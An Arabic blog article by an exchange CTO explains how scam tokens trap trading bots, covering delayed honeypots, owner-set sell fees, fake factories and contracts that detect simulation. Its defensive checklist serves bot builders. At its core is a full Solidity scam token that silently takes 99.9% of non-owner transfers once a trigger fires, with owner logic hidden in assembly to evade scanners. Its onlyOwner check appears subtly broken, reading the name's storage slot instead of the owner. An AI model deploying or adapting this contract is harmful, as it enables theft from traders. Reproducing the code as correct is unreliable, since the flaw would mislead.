اضغط على ESC للإغلاق

ليه البوت حقك يخسر فلوس؟ خفايا الـ MEV وفخاخ الـ Honeypot

سوق الأتمتة في الـ Web3 حالياً مش مكان رومانسي للـ geeks، السوق ده أرض محروقة. والمشكلة الأساسية هنا مش إن السيرفرات والبنية التحتية بتاعتك أبطأ من سيرفرات الصناديق الاستثمارية في طوكيو أو فرانكفورت. الأزمة الحقيقية إن الحيتان والـ devs بتوع توكنز السكام بقوا حافظين طريقة تفكير ومنطق الـ parsers صم. بقوا بيكتبوا الـ contracts دي متفصلة بالملي عشان تفشخ السوفت وير بتاعك. إنت بتبقى فاكر إنك لقيت لقطة أو alpha صايعة، بس في الحقيقة إنت مجرد مغفل بتنفذ سكريبت لواحد تاني عشان يسحب فلوسك إنت.

تحت هتلاقي تشريح دقيق بالملي لإزاي البوت بتاعك بيطير السيولة والميزانية بتاعتك، وليه الـ checks العادية اللي في الـ libraries المشهورة مش بتأكل عيش، وإيه اللي بيحصل ورا الكواليس في البيزنس ده لما الكود بيحارب الكود.

تشريح الفخ: إزاي الـ Scam Contracts بتقرأ أفكار البوت بتاعك

أغلب المبتدئين بيكتبوا البوتات بتاعتهم بنفس الفورمة والـ تيمبلت: بنلقط الـ event بتاع PairCreated أو PoolCreated من الـ factory بتاعت Uniswap (أو الـ forks بتاعتها)، نلمح رصيد السيولة، نضرب الـ router.swapExactETHForTokens — مبروك عليك الـ profit. الـ scammers بيلعبوا على الحتة دي بالظبط، لأنهم عارفين إن البوت بتاعك بيعمل simulation أو audit سريع قبل ما يدخل.

دول أهم 3 ميكانيزمات بتتدشدش عليهم 90% من الـ custom scripts:

  • 1. الـ Honeypot المعدل بتايمر أو trigger مؤجل (Delayed Honeypot)

    الـ Honeypot التقليدي (تقدر تشتري بس متقدرش تبيع) البوت بتاعك غالباً بيعرف يقفشه عن طريق eth_call محلي (simulation لعملية البيع). بس إيه العمل لو خاصية البيع مش بتقفل في نفس اللحظة؟

    الـ contract بينزل ع الأرض نضيف ومفيهوش الهوا. البوت بيعمل تشيك والـ simulation بيمر تمام والتوكنز بتتباع عادي. البوت بيطمع ويضخ السيولة. أول ما إجمالي الـ ETH في الـ pool يوصل لرقم معين، وليكن 5 ETH مثلاً، الـ contract بيقلب الـ internal flag تلقائياً لـ isLocked = true جوه الفانكشن بتاعت _update أو _transfer. لبست في الحيط. الـ simulation اللي عملته وقت الشراء مستحيل كان يتوقع ده، لأن وقت الـ check شرط الـ volume مكنش لسه تحقق.

  • 2. الضريبة الديناميكية المتغيرة (Variable Fee Attack)

    جوه الـ contract بيكتبوا ميكانيزم mint عادي لـ ERC-20، بس في الفانكشن بتاعت الـ transfer بيحشروا متغير للـ fee بيتحكم فيه الـ owner (أو بيزيد مع كل block number جديد).

    وقت الشراء بتكون الضريبة 0%. البوت بياخد الـ position بكامل سيولته. بعدها بـ 2 blocks بس، الـ deployer بتشيكة واحدة بيغير الـ sellFee ويخليها 99%. البوت بتاعك بيحاول يهرب ويضرب Stop-loss، بيبعت الـ transaction وبتتقبل عادي ويديك Success، بس بسبب ضريبة الـ 99% دي بيرجعلك فكة لا تذكر، والباقي كله بيروح دايركت على محفظة الـ deployer. هنا الـ حماية بتاعة الـ slippage بتجلي كتير لو البوت مش هيدل الـ amountOutMin صح أو لو شغال بـ custom routers.

  • 3. الهجوم عن طريق الـ Routers المضروبة (Fake Router Injection)

    ده بقى الكلاسيكو وكبير اللعبة في الشبكات اللي الـ gas فيها رخيص وزي التراب زي شبكة Base. الـ scammer مش بيروح يعمل الـ custom pool بتاعه على Uniswap v3 الرسمية، لأ، بيروح يرميها على factory مضروبة (fake) بتطلع نفس الـ signatures بالظبط للـ events. البوت بيفتكر إنه بيتعامل مع الـ standard interface. ينفذ الـ swap، الـ contract يبلع الـ ETH وبدل ما يبعتلك التوكنز الحقيقية بيرميلك زبالة (scraps)، أو يغير الـ math جوه الـ pool بحيث السعر يصفر فورا في نفس الـ millisecond بعد الـ transaction بتاعتك.

نوع التهديدإزاي البوت بيشوفه (الفخ)إيه اللي بيحصل في الحقيقة (Fact)الخسارة التقنية
Delayed Honeypotالـ simulation لعملية الـ sell بتنجح 100%.الـ lock flag بيشتغل تلقائي أول ما الـ targets تتحقق.خسارة 100% من رأس المال اللي دخلت بيه (Principal).
Variable Feeالـ contract نضيف تماماً ومن غير ثغرات واضحة في الكود.الـ sellFee بتترفع لـ 99% من خلال فانكشن الـ owner.خسارة 99% من قيمة الـ سيولة وقت الخروج.
Fake Factoryبيدي إشارة بـ pool جديدة وبنفس الـ log layout القياسي.الـ interface منقول مسطرة بس الـ pool math ملعوب فيها.سحب ودسرة كاملة لكل الـ ETH لمحفظة خارجية.

مثال حي: كود الـ Honeypot المثالي اللي هيسوح البوت بتاعك

عشان تستوعب ليه الـ parser بتاعك مجرد وجبة عشاء سهلة للـ scammers، لازم تشوف الكود بعيون الصايع اللي كاتبه. تحت هتلاقي كود شغال وبيتكومبايل لتوكن على Solidity 0.8.20. مكتوب من غير الـ require(msg.sender == owner) الغبية والمكشوفة في فانكشن الـ transfer، وده مقصود عشان الـ scanners الأوتوماتيكية (زي Honeypot.is أو النسخ القديمة من Slither) متصوتش وتديك warning وهي بتعمل سكرين للـ bytecode.

اللعب كله والوساخة مستخبية جوه الـ math المستور والـ state triggers.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
    string public name = "Shadow Liquidity";
    string public symbol = "SHDW";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    
    address private _owner;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    // متغيرات الفخ
    uint256 private constant MAX_FEE = 1000; // 100% بنظام الـ basis points
    uint256 private targetBlock;
    uint256 private triggerBalance;
    bool private systemReady;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
        _owner = msg.sender;
        totalSupply = initialSupply * 10**uint256(decimals);
        _balances[_owner] = totalSupply;
        
        // إعداد الفخ: يشتغل بعد X بلوكات من الـ activation أو لما رصيد الـ pool يوصل للتارقت
        targetBlock = block.number + _delayBlocks;
        triggerBalance = _triggerEth * 10**18;
        emit Transfer(address(0), _owner, totalSupply);
    }
    modifier onlyOwner() {
        // مش بنستخدم require قياسي عشان نداري اللوجيك في الـ assembly
        assembly {
            if sub(sload(0), caller()) { revert(0, 0) }
        }
        _;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 value) public returns (bool) {
        _rawTransfer(msg.sender, to, value);
        return true;
    }
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 value) public returns (bool) {
        _allowances[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) public returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        if (currentAllowance != type(uint256).max) {
            assembly {
                if lt(currentAllowance, value) { revert(0, 0) }
            }
            _allowances[from][msg.sender] = currentAllowance - value;
        }
        _rawTransfer(from, to, value);
        return true;
    }
    // فانكشن تحكم خارجية — البوت مش بيشوفها وهو بيعمل simulation للـ swap
    function setupTrap() external onlyOwner {
        systemReady = true;
    }
    function _rawTransfer(address from, address to, uint256 value) internal {
        assembly {
            if iszero(from) { revert(0, 0) }
            if iszero(to) { revert(0, 0) }
        }
        uint256 fromBalance = _balances[from];
        assembly {
            if lt(fromBalance, value) { revert(0, 0) }
        }
        
        uint256 finalAmount = value;
        
        // التشيك: لو التوكن بيتباع في الـ pool والفخ قفل
        // بنعرف الـ pool بعلامات غير مباشرة عشان مانعملش hardcode لعناوين الـ pairs بشكل مكشوف
        if (to != _owner && from != _owner) {
            if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
                // لو أي شرط تحقق — ضريبة الـ 99.9% بتشتغل فوراً
                // بنسيب 0.1% عشان الـ transaction ما تضربش ريفيرت، وتعدي سليم وتاخد التوكنز
                uint256 fee = (value * 999) / MAX_FEE;
                finalAmount = value - fee;
                
                _balances[from] = fromBalance - value;
                _balances[_owner] = _balances[_owner] + fee;
                
                emit Transfer(from, _owner, fee);
                emit Transfer(from, to, finalAmount);
                return;
            }
        }
        _balances[from] = fromBalance - value;
        _balances[to] = _balances[to] + finalAmount;
        emit Transfer(from, to, finalAmount);
    }
    // استقبال الـ ETH على الـ contract عشان يلقط الـ trigger بتاع الرصيد
    receive() external payable {}
}

ركز أرجوك في الميثود الداخلية _rawTransfer. مش هتلاقي فيها أي كلمات مشبوهة أو مكشوفة. لو البوت بتاعك عمل simulation للشراء والبيع في نفس الـ block اللي نزل فيه التوكن (يعني قبل ما الـ deployer يضرب الـ setupTrap)، الـ contract هيتصرف كأنه ملاك بريء و ERC-20 محترم. بس أول ما الـ deployer يطلب فانكشن setupTrap() أو رصيد الـ ETH جوه الـ contract يعدي الـ triggerBalance (لما كمية بوتات محترمة تتدبس وتدخل فيه)، اللوجيك بيشقلب اللعبة on-the-fly. السكريبت بتاعك بيبعت ترانزاكشن البيع، يحرق gas، الـ transaction بتقفل بوضع Success، بس اللي بيدخل محفظتك بالظبط هو 0.1% من الفلوس اللي كنت مستنيها. مبروك يا صاحبي، إنت قدمت السيولة بتاعتك هدية على طبق دهب للـ deployer.

فخ على مستوى EVM: لماذا اختباراتك في Hardhat أو Anvil هي مجرد أوهام؟

يعتقد معظم "كاتبي السكريبتات" أنهم أذكياء لأنهم يقومون بتشغيل المعاملات عبر محاكاة محلية قبل إرسالها فعلياً إلى المينيت (Mainnet). فأنت تأخذ revm بلغة Rust أو تنشئ فورك (Fork) محلي للشبكة عبر anvil/hardhat، وتنفذ eth_call، وترى سجلات (logs) التبادل الناجحة بدون أخطاء، فتطمئن وتطلق البوت الخاص بك في المعركة.

هذا خطأ فادح. المحاكاة في "صندوق رمل" (Sandbox) معزول تختلف جذرياً عما يحدث داخل البلوك الحقيقي، وقد تعلم المحتالون الآن كيفية كشف هذه المحاكاة على مستوى البايت كود (Bytecode).

  • الكشف عبر حالة العقدة (State & Context Checking)

    يمكن للعقد الذكي "الفخ" التحقق من متغيرات البيئة التي يتم إعدادها افتراضياً في الفورك المحلي الخاص بك. على سبيل المثال، block.coinbase (عنوان المُحقق الذي يجمع البلوك). في شبكة Base أو Arbitrum الحقيقية، يكون هناك دائماً عنوان محدد للمسلسل (Sequencer). أما في anvil الخاص بك، فسيكون هناك إما عنوان صفري أو هاش تجريبي قياسي.

    إذا رأى العقد عنوان coinbase غير نمطي أو شذوذات قوية في block.timestamp / block.basefee، فإنه ببساطة يعطل وظيفة السرقة. في المحاكاة، أنت الملك والكل يمر، لكن في المينيت، يدرك العقد أن مستخدماً حقيقياً ينفذه في بلوك حقيقي، فيغلق الأبواب أمامك.

  • هجمات الفرونت رانينج على المحاكاة (The Sandbox Escape)

    هناك سيناريو أكثر خبثاً. يقوم منشئ التوكن بمراقبة الميمبول (Mempool) بنفسه (إذا كانت الشبكة تدعم الميمبول العام) أو تتبع طلبات eth_call الواردة عبر عقد خاصة لديه صلاحية الوصول إليها. بمجرد أن يرسل البوت الخاص بك طلب محاكاة إلى عقدة RPC عامة (مثل Alchemy أو QuickNode)، يتم تسجيل هذا الطلب. نعم، eth_call لا ترسل معاملة إلى البلوك، لكن مشغل العقدة يرى أي عقد وبأي معاملات يتم اختباره حالياً. يدرك المحتال: "آها، البوت قد ابتلع الطعم، وسيدخل الآن". فيقوم فوراً بدفع معاملة إلى الشبكة تغير حالة العقد، وسيدخل طلبك الحقيقي مباشرة في الفخ.

جحيم إدارة النظام: ضريبة البنية التحتية

لنفترض أنك أعدت برمجة البوت ليكون قادراً على قراءة البايت كود، والتعرف على فروع assembly المخفية التي تتحقق من coinbase، وأصبح "بارانوياً". الآن أنت تصطدم بطريق مسدود تقني سيلتهم ميزانيتك على المدى الطويل، حتى لو لم تقع في أي "هاني بوت" (Honeypot).

هذه هي تكلفة الحفاظ على البنية التحتية جاهزة للعمل.

[RPC العام] ---> (تأخير 150-300ms) ---> [البوت الخاص بك] ---> (Swap متأخر) ---> [ضياع الغاز / احتيال]
                                                      ^
                                                      | (تحتاج تحسين)
                                                      v
[العقدة الخاصة (Reth)] -> (Unix Socket مباشر) -> [البوت الخاص بك] -> (Flashbots / Builder) -> [الأرباح]
  • المشكلة 1: حركة المرور و IOPS للقرص

    لتشغيل البوت بسرعات مقبولة، حدود الـ RPC المجانية العامة لا تناسبك - سيتم حظرك بسبب حد المعدل (Rate limit) عند المعاملة المائة. سيتعين عليك تشغيل عقدتك الخاصة. إذا كنا نتحدث عن L2 (مثل Base/Arbitrum)، فإن العقد المؤرشفة أو حتى العقد الكاملة (Full Nodes) تتطلب موارد هائلة. أنت بحاجة إلى NVMe SSD بسرعة قراءة/كتابة عشوائية عالية (IOPS). بمجرد أن تزداد أحمال الشبكة، ستبدأ عقدتك على VPS رخيص بالتأخر عن حالة الشبكة الحقيقية بمقدار 1-2 بلوك. بالنسبة للبوت، هذا يعني الموت: فهو يرى مجمعات (Pools) لم تعد موجودة، أو يضع أسعاراً غير محدثة. أنت تدفع 200 دولار شهرياً للخادم فقط لكي يتلقى البوت بيانات قديمة.

  • المشكلة 2: الغاز المحروق في المعاملات الفاشلة (Gas Bleeding)

    في شبكات مثل Ethereum أو BNB Chain، كل معاملة فاشلة تكلف مالاً. إذا حاول البوت الخاص بك الدخول إلى مجمع في نفس الوقت مع ثلاثين بوت آخر، سيأخذ الأول كل شيء، ويحصل الـ 29 الآخرون على خطأ Slippage أو Execution Reverted. لكن الشبكة ستخصم منك الغاز مقابل التحقق من الشروط بالكامل. عند التردد العالي للطلبات، يمكن للبوت الخاص بك خلال يوم واحد أن "يحرق" 50-100 دولار في الشبكة على شكل غاز محروق في محاولات فاشلة. هذا هو استنزاف بطيء وغير ملحوظ للرصيد، لا يلاحظه المبتدئون إلا عندما يجدون أن رصيد ETH المخصص للغاز قد وصل إلى صفر مستدير.

قائمة التحقق للبقاء: كيف لا تصبح "سيولة" للمحتالين

إذا كنت لا تزال ترغب في استنزاف عقلك في هذا الموضوع، يجب أن يكون البوت قادراً على القيام بأشياء غير موصوفة في وثائق Web3.js. انسَ التحقق القياسي من الرصيد، فهذا مجرد لعب أطفال.

  • التحليل الثابت للبايت كود قبل النشر (Deploy):

    يجب ألا يكتفي السكريبت بتحليل سجلات المصنع (Factory logs)، بل يجب عليه سحب كود الهيكس (Hex-code) للعقد عبر eth_getCode والبحث عن توقيعات التعليمات الخطيرة (مثل SSTORE، عناوين المالكين القابلة للتغيير، استدعاءات العقود الخارجية داخل التحويل). إذا كان كود التوكن يحتوي على SSTORE مخفي يمكنه إعادة كتابة المتغيرات الحرجة، فليذهب العقد مباشرة إلى سلة المهملات، بدون أي محاكاة.

  • حد انزلاق (Slippage) ديناميكي مع amountOutMin صارم:

    لا تضع أبداً amountOutMin = 0 أو انزلاقاً ثابتاً بنسبة 50%. يجب أن يحسب البوت السعر الدقيق بناءً على احتياطيات المجمع مباشرة داخل إطار البلوك الحالي. إذا حصلت عند مخرج المحاكاة على أقل من 1% مما يجب أن تحصل عليه، فيجب إسقاط المعاملة على مستوى المحرك المحلي الخاص بك، وعدم إرسالها إلى الشبكة.

  • استخدام القنوات الخاصة (MEV-Share / Flashbots):

    إرسال المعاملات إلى الميمبول العام يعني تقديم ظهرك للضرب. يجب أن يمر الـ Swap الخاص بك عبر حزم خاصة (Bundles) مباشرة إلى المُحققين أو كبار بناة البلوك. إذا لم تكن معاملتك هي الأولى، فسيتم حذفها ببساطة من الحزمة، دون حرق الغاز ودون إعطاء المحتالين فرصة للقيام بالفرونت رانينج (Front-running) عليك.

ملخص

الملخص بسيط: هذا السوق مصمم بحيث يكون منشئو التوكن وصناع السوق الكبار دائماً متقدمين بخطوة على الأتمتة ذات المستوى المتوسط. البوت الخاص بك لا يقاتل السوق، إنه يقاتل متخصصين يدرسون لسنوات كيفية جعل برنامجك يرتكب خطأً. وطالما أنك لم تبدأ في الحفر أعمق من المكتبات القياسية، فستظل بالنسبة لهم العميل المثالي للاستغلال.

Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...